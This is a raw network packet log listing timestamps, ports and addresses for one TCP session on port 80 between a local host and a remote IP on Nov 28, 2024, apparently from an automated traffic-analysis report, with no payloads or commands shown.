Nov 28, 2024 06:48:06.913399935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.913436890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.913481951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.915209055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.915268898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.915306091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.915354013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.918879032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.918946028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.920284986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.920341969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.920403957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.920459032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.924002886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.924067020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.924113035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.924174070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.927776098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.927833080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.927886009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.927939892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.931561947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.931636095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.931689024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.931740999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.935336113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.935372114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.935400963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.935435057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.939120054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.939182997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.939193964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.939240932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.942895889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.942954063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.962352037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.962456942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.962457895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.962563038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.964133978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.964194059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.964838028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.964929104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.964960098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.964992046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.968631983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.968718052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.968739033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.968791962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.972393990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.972451925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.972522020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.972570896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.976095915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.976178885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.976243019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.976306915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.979979038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.980091095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.980134964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.980175018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.983453989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.983521938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.983530998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.983562946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.986954927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.987018108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.038527966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.038552999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.038599014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.038640022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.039391041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.039443970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.039510965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.039562941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.042659044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.042725086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.042829037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.042907000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.045929909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.045993090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.046006918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.046072006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.049150944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.049251080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.049277067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.049339056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.052416086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.052545071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.052547932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.052640915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.055619955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.055677891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.055722952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.055778980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.058864117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.058917999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.058962107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.059015036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.062082052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.062129974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.062201023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.062252998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.065152884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.065207005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.065282106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.065336943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.068351984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.068365097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.068423033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.071254015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.071331024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.071434975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.071496010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.074178934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.074244976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.074424028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.074481010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.077007055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.077074051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.077089071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.077152967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.079912901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.079926014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.079977989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.080013037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.083220959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.083326101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.083362103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.083410978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.114631891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.114762068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.114794016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.114837885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.115637064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.115705013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.115861893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.115922928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.117803097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.117867947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.117876053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.117919922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.119935036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.119998932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.120032072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.120084047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.122049093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.122111082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.122149944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.122209072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.124223948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.124286890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.124310017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.124353886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.126328945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.126425982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.126473904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.126528025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.128650904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.128664017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.128736973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.130572081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.130640984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.130716085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.130769014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.132767916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.132831097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.132992983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.133043051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.134865046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.134927034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.135011911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.135071993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.137067080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.137134075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.137150049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.137208939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.139148951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.139208078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.139302015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.139358997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.141304970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.141369104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.141411066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.141474962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.143461943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.143522978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.143559933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.143631935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.145556927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.145617008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.145662069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.145711899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.147702932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.147782087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.147820950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.147875071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.149851084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.149914980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.149980068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.150032043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.163469076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.163532019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.163577080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.163628101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.164556980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.164619923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.164707899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.164761066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.166656971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.166719913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.167454004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.167511940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.167591095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.167643070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.169594049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.169658899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.169692039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.169739008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.171740055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.171808004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.171823025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.171869993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.173890114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.173950911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.173974037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.174019098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.176007032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.176076889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.176146984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.176223993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.178195953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.178256989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.178261995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.178311110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.180320024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.180387020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.180448055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.180500984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.182425022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.182497978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.182539940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.182590961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.184592962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.184663057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.184714079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.184771061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.186749935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.186805964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.186819077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.186856985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.188896894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.188958883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.189007044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.189059019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.191052914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.191118956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.191119909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.191159010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.193118095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.193178892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.193237066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.193284035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.239864111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.239955902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.240088940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.240158081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.240876913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.240966082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.240992069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.241090059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.242892981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.242974997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.242985964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.243056059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.245040894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.245080948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.245150089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.246973038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.247064114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.247188091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.247263908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.249011040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.249069929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.249145985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.249202013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.251106977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.251166105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.251204014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.251256943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.253134012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.253204107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.253293037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.253362894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.255168915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.255228996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.255275011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.255357027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.257272959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.257286072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.257339954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.257375002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.259298086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.259355068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.259417057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.259468079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.261275053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.261348963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.261425972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.261482954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.263225079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.263289928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.263340950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.263391972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.265173912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.265253067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.265525103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.265583992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.267115116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.267136097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.267174006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.267209053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.268913984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.268965960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.269606113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.269659042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.270688057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.270745039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.270777941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.270838022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.272541046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.272599936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.273014069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.273072004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.275654078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.275727034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.275805950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.275861979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.276566029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.276635885 CET	49704	80	192.168.2.5	185.215.113.206
